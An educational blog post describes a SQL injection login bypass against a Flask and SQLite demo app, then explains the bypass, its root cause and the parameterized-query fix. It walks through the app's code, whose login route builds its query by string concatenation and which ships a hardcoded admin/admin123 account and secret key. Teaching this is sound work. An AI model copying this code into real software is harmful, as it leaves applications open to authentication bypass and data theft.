&lt;p&gt;The database returned the admin user.&lt;/p&gt;

&lt;p&gt;The application set the session.&lt;/p&gt;

&lt;p&gt;I was redirected to the dashboard.&lt;/p&gt;

&lt;p&gt;Authentication bypassed.&lt;/p&gt;

&lt;p&gt;No brute force.&lt;br&gt;
No password cracking.&lt;br&gt;
No guessing.&lt;/p&gt;

&lt;p&gt;Just manipulating query logic.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Is Dangerous
&lt;/h2&gt;

&lt;p&gt;In this demo, the impact was limited to login bypass.&lt;/p&gt;

&lt;p&gt;In a real-world application, SQL injection can allow:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Dumping entire user databases&lt;/li&gt;
&lt;li&gt;Extracting password hashes&lt;/li&gt;
&lt;li&gt;Modifying records&lt;/li&gt;
&lt;li&gt;Deleting tables&lt;/li&gt;
&lt;li&gt;Escalating privileges&lt;/li&gt;
&lt;li&gt;Remote code execution in some database configurations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Authentication vulnerabilities are particularly critical because they break the trust boundary of the system.&lt;/p&gt;

&lt;p&gt;Once an attacker bypasses authentication, everything behind it is exposed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Root Cause Analysis
&lt;/h2&gt;

&lt;p&gt;The root cause was simple:&lt;/p&gt;

&lt;p&gt;User input was concatenated into the SQL query string.&lt;/p&gt;

&lt;p&gt;When SQL queries are built using string formatting, the database parser processes user input as executable SQL syntax.&lt;/p&gt;

&lt;p&gt;This violates a core secure development principle:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Never mix code and user-controlled data.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The Fix
&lt;/h2&gt;

&lt;p&gt;The proper solution is to use &lt;strong&gt;parameterized queries&lt;/strong&gt; (prepared statements).&lt;/p&gt;

&lt;p&gt;With parameterized queries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The SQL structure is defined first.&lt;/li&gt;
&lt;li&gt;User input is passed separately.&lt;/li&gt;
&lt;li&gt;The database treats input strictly as data.&lt;/li&gt;
&lt;li&gt;Injection payloads lose their power.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;After implementing parameterized queries:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The same malicious payload was treated as a plain string.&lt;/li&gt;
&lt;li&gt;It did not alter query logic.&lt;/li&gt;
&lt;li&gt;Authentication bypass failed.&lt;/li&gt;
&lt;li&gt;The system behaved correctly.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No complex security framework was required.&lt;/p&gt;

&lt;p&gt;Just disciplined query handling.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lessons Learned
&lt;/h2&gt;

&lt;p&gt;This exercise reinforced several key lessons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Small shortcuts create major vulnerabilities.&lt;/li&gt;
&lt;li&gt;Authentication logic must be treated as high-risk code.&lt;/li&gt;
&lt;li&gt;Secure coding is about patterns, not patches.&lt;/li&gt;
&lt;li&gt;SQL injection is still relevant in 2026.&lt;/li&gt;
&lt;li&gt;Parameterized queries should be non-negotiable.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This was not about exploiting a system.&lt;/p&gt;

&lt;p&gt;It was about understanding how easily insecure patterns creep into even simple applications.&lt;/p&gt;




&lt;h1&gt;
  
  
  Flask Authentication App – Code Explanation
&lt;/h1&gt;

&lt;p&gt;This application implements a simple session-based login system using Flask and SQLite. It includes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Database initialization&lt;/li&gt;
&lt;li&gt;Login handling&lt;/li&gt;
&lt;li&gt;Session-based dashboard access&lt;/li&gt;
&lt;li&gt;Logout functionality&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s break it down step by step.&lt;/p&gt;




&lt;h1&gt;
  
  
  1. Application Setup
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;flask&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;

&lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Flask&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__name__&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;secret_key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sldc-secret-key&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Flask&lt;/code&gt; initializes the web application.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;render_template&lt;/code&gt; renders HTML pages.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;request&lt;/code&gt; handles form input.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;redirect&lt;/code&gt; and &lt;code&gt;url_for&lt;/code&gt; manage navigation.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;session&lt;/code&gt; stores authenticated user data.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;sqlite3&lt;/code&gt; connects to the SQLite database.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;secret_key&lt;/code&gt; is required for securely signing session cookies.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  2. Database Initialization
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;init_db&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;users.db&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT,
        password TEXT
    )
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT COUNT(*) FROM users&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchone&lt;/span&gt;&lt;span class="p"&gt;()[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;INSERT INTO users (username, password) VALUES (&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;admin&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;, &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;admin123&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;)&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;commit&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;init_db&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What this does:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Creates a database file &lt;code&gt;users.db&lt;/code&gt; if it does not exist.&lt;/li&gt;
&lt;li&gt;Creates a &lt;code&gt;users&lt;/code&gt; table with &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;username&lt;/code&gt;, and &lt;code&gt;password&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Checks if the table is empty.&lt;/li&gt;
&lt;li&gt;Inserts a default admin user only once.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This ensures the application is usable immediately after startup.&lt;/p&gt;




&lt;h1&gt;
  
  
  3. Login Route (&lt;code&gt;/&lt;/code&gt;)
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;""&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;method&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

        &lt;span class="n"&gt;conn&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sqlite3&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;users.db&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;cursor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="n"&gt;query&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SELECT * FROM users WHERE username = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; AND password = &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'"&lt;/span&gt;
        &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;execute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;query&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fetchone&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="n"&gt;conn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;close&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dashboard&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;message&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Invalid credentials.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;login.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;message&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How it works:
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;When accessed via GET, it simply renders the login page.&lt;/li&gt;
&lt;li&gt;When the login form is submitted (POST):&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;The username and password are retrieved from the form.&lt;/li&gt;
&lt;li&gt;A database query checks if a matching record exists.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If a match is found:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The username is stored in the session.&lt;/li&gt;
&lt;li&gt;The user is redirected to &lt;code&gt;/dashboard&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;If not:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;An error message is displayed.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;The session acts as a lightweight authentication token.&lt;/p&gt;




&lt;h1&gt;
  
  
  4. Dashboard Route (&lt;code&gt;/dashboard&lt;/code&gt;)
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/dashboard&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;dashboard&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;render_template&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;dashboard.html&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;username&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What this does:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Checks if &lt;code&gt;"username"&lt;/code&gt; exists in the session.&lt;/li&gt;
&lt;li&gt;If not, the user is redirected to the login page.&lt;/li&gt;
&lt;li&gt;If yes, the dashboard page is rendered and the username is displayed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This enforces basic access control.&lt;/p&gt;




&lt;h1&gt;
  
  
  5. Logout Route (&lt;code&gt;/logout&lt;/code&gt;)
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="nd"&gt;@app.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/logout&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;redirect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;url_for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;login&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  What this does:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Clears all session data.&lt;/li&gt;
&lt;li&gt;Redirects the user back to login.&lt;/li&gt;
&lt;li&gt;Effectively logs the user out.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  6. Running the Application
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;debug&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Starts the Flask development server.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;debug=True&lt;/code&gt; enables automatic reload and detailed error messages during development.&lt;/li&gt;
&lt;/ul&gt;




&lt;h1&gt;
  
  
  Complete Authentication Flow
&lt;/h1&gt;

&lt;ol&gt;
&lt;li&gt;User visits &lt;code&gt;/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Submits login form&lt;/li&gt;
&lt;li&gt;Backend validates credentials against database&lt;/li&gt;
&lt;li&gt;If valid, session is created&lt;/li&gt;
&lt;li&gt;User gains access to &lt;code&gt;/dashboard&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Logout clears session&lt;/li&gt;
&lt;/ol&gt;




&lt;h1&gt;
  
  
  Important Architectural Observations
&lt;/h1&gt;

&lt;ul&gt;
&lt;li&gt;Authentication is session-based.&lt;/li&gt;
&lt;li&gt;SQLite is used as a lightweight relational database.&lt;/li&gt;
&lt;li&gt;Access control depends on session presence.&lt;/li&gt;
&lt;li&gt;Database interaction is done synchronously per request.&lt;/li&gt;
&lt;li&gt;The system is suitable for demonstration or learning environments.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Result
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsmmnergbwxmw0uviqofv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsmmnergbwxmw0uviqofv.png" alt="Login Page" width="800" height="375"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Filqgzqga08mlnrqgl8sa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Filqgzqga08mlnrqgl8sa.png" alt=" " width="418" height="566"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkcbz1fqbi116rb3v6yw8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkcbz1fqbi116rb3v6yw8.png" alt=" " width="800" height="379"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kswon1l0fu59tdb5v5m.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0kswon1l0fu59tdb5v5m.png" alt=" " width="408" height="598"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq94f9attz2tzj0lxh6jg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fq94f9attz2tzj0lxh6jg.png" alt=" " width="800" height="380"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgz7g8kozr0etfjmekajr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgz7g8kozr0etfjmekajr.png" alt=" " width="800" height="188"&gt;&lt;/a&gt;&lt;br&gt;
